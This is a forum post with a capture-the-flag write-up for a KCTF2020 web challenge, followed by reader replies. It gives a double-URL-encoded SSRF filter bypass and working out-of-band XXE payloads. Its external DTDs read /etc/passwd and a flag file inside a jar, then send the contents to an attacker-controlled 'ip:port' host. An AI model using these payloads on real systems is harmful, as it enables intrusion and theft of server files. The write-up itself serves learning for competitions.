首页
社区
课程
招聘
[原创]KCTF2020秋季赛 第一题 至暗时刻 XXE解法 by xtgo
2020-11-18 01:32 3785

[原创]KCTF2020秋季赛 第一题 至暗时刻 XXE解法 by xtgo

2020-11-18 01:32
3785

Hello 大家好,我又来写Web题目的WriteUp了,抱着春季赛web题目=打卡题的心态我就来了,谁曾想到秋季赛的题目如此变态。从中午12点到晚上七点半就起来上过一次厕所,再没离开过电脑。要不是xtgo五虎将全军出击,不然这道题我就只能继续奋发图强(shan ku pao lu)了-.-

 

OK言归正传开始解题:

1、题目描述

一道Web题,访问链接:

 

http://121.36.145.157:8088/

 

利用技术绕过限制,获得flag.txt文件中的值。

2、初窥门径

首先访问域名发现,谁给kctf首页的图偷来了。。。
首页
打开抓包工具看看刚好发现有个备注彩蛋
彩蛋
访问彩蛋 http://121.36.145.157:8088/loadConfig?url=x.xml ,可以看到接口有IP限制,目测接口的功能可能是加载服务器上的某些配置文件
配置接口
遇到了IP限制当然要试一试XFF
XFF
结果就是这道题的考点不是XFF,header全加上也没用,还是提示" not allow ip"。
接着看下刚才访问首页下载图片的第二个接口
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg
获取图片
看到url中的 ?url=http://xxx 一下就来了精神,配合刚才限制IP的接口,肯定是SSRF了,改一下跳转的url地址到某度,发现跳转地址有正则表达式限制,刚好也返回了过滤规则
图片描述
分析下正则核心的三个条件
1、一级域名必须为看雪域名 pediy.com
2、二级域名可以填写除?$/三个符号的任意内容
3、path不做任何限制

3、整理思路

通过前一步的信息收集和题目理解,大致的攻击思路为
1、绕过getimage接口的过滤规则
2、绕过后通过SSRF访问loadConfig接口
3、通过loadConfig尝试访问服务器上flag.txt文件

4、发起进攻

首先将getimage接口中跳转URL的二级域名和path替换
替换
发现提示无效的端口号,并没有提示正则错误,那就对整个域名进行两次转义替换(浏览器和服务器接到参数后都会默认进行一次decode,所以需要进行两次encode)

1
http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=x.xml

成功绕过正则限制,出现异常回显
绕过拦截

 

本以为今天的活动到此结束,谁知道这只是开始。。。

 

访问/flag.txt发现没有找到此文件,然后尝试读取/etc/passwd发现这个java接口只能接收xml document
xml限制

 

怪不得前面的彩蛋提示是x.xml,原来是暗示传入一个xml文件,既然是xml那只能想到XXE漏洞。使用XXE则必须将注入的xml放在公网,SSRF跳转时可被访问到,先写个test.xml验证一下XXE确实存在

 

test.xml

1
2
3
4
5
<!DOCTYPE foo
    [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
 
<foo>&xxe;</foo>

公网测试
图片描述

 

注入接口
http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=http://ip:port/test.xml
图片描述

 

发现报错回显不一样了,XXE看来有戏,构造访问文件的xml和dtd(涉及到ip:port的地方请自行替换成自己的服务器地址)
xxe.xml

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://ip:port/xxe.dtd">
    %ext;
]>
<message></message>

xxe.dtd

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">
%eval;
%error;

在dtd中先访问/etc/passwd ,成功获取到passwd的文本内容
passwd

 

接下来是最心塞的一步,寻找flag.txt,大家一起找了几个小时。不过最终功夫不费有心人,通过/proc/self/maps文件找到java程序的调用记录,成功获取到jar包存储的路径和文件名 /home/vip-demo-0.0.1-SNAPSHOT.jar
maps

 

最后一步通过jar:和file:协议访问jar包中的flag.txt
参考XXE注入
xxe.dtd

1
2
3
4
<!ENTITY % file SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">
%eval;
%error;

成功在异常中获取flag!congratulations!
图片描述

1
2020.11.17  | write by xtgo

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2020-11-23 11:06 被xjklewh编辑 ,原因: update
收藏
点赞4
打赏
分享
最新回复 (12)
雪    币: 10536
活跃值: (6649)
能力值: ( LV12,RANK:214 )
在线值:
发帖
回帖
粉丝
neilwu 1 2020-11-19 13:42
2
0
膜拜大佬 v5
雪    币: 19586
活跃值: (60133)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2020-11-19 13:48
3
0
赞!感谢分享!
雪    币: 638
活跃值: (795)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
香草0x00 2020-11-19 13:59
4
0
思路清晰,点赞
雪    币: 2940
活跃值: (3487)
能力值: (RANK:215 )
在线值:
发帖
回帖
粉丝
china 5 2020-11-19 14:14
5
0
这方面知识一片空白,学习一下。放弃进攻了。
雪    币: 2244
活跃值: (1836)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
number_Z 2 2020-11-19 14:54
6
0
tql
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 15:11
7
0
neilwu 膜拜大佬 v5
大佬夸奖了
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 15:11
8
0
Editor 赞!感谢分享!
感谢看雪
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 15:12
9
0
香草0x00 思路清晰,点赞
膜拜题主
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 15:14
10
0
china 这方面知识一片空白,学习一下。放弃进攻了。

我们也没想到会是java题目

最后于 2020-11-19 15:15 被xjklewh编辑 ,原因:
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 15:15
11
0
number_Z tql[em_84]
共同进步
雪    币: 638
活跃值: (795)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
香草0x00 2020-11-19 15:49
12
0
正则绕过实际上是httpclient3的一个特性
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 16:00
13
0
香草0x00 正则绕过实际上是httpclient3的一个特性
是的,这块一开始当php来做了,准备去题主的星球深入学习下
游客
登录 | 注册 方可回帖
返回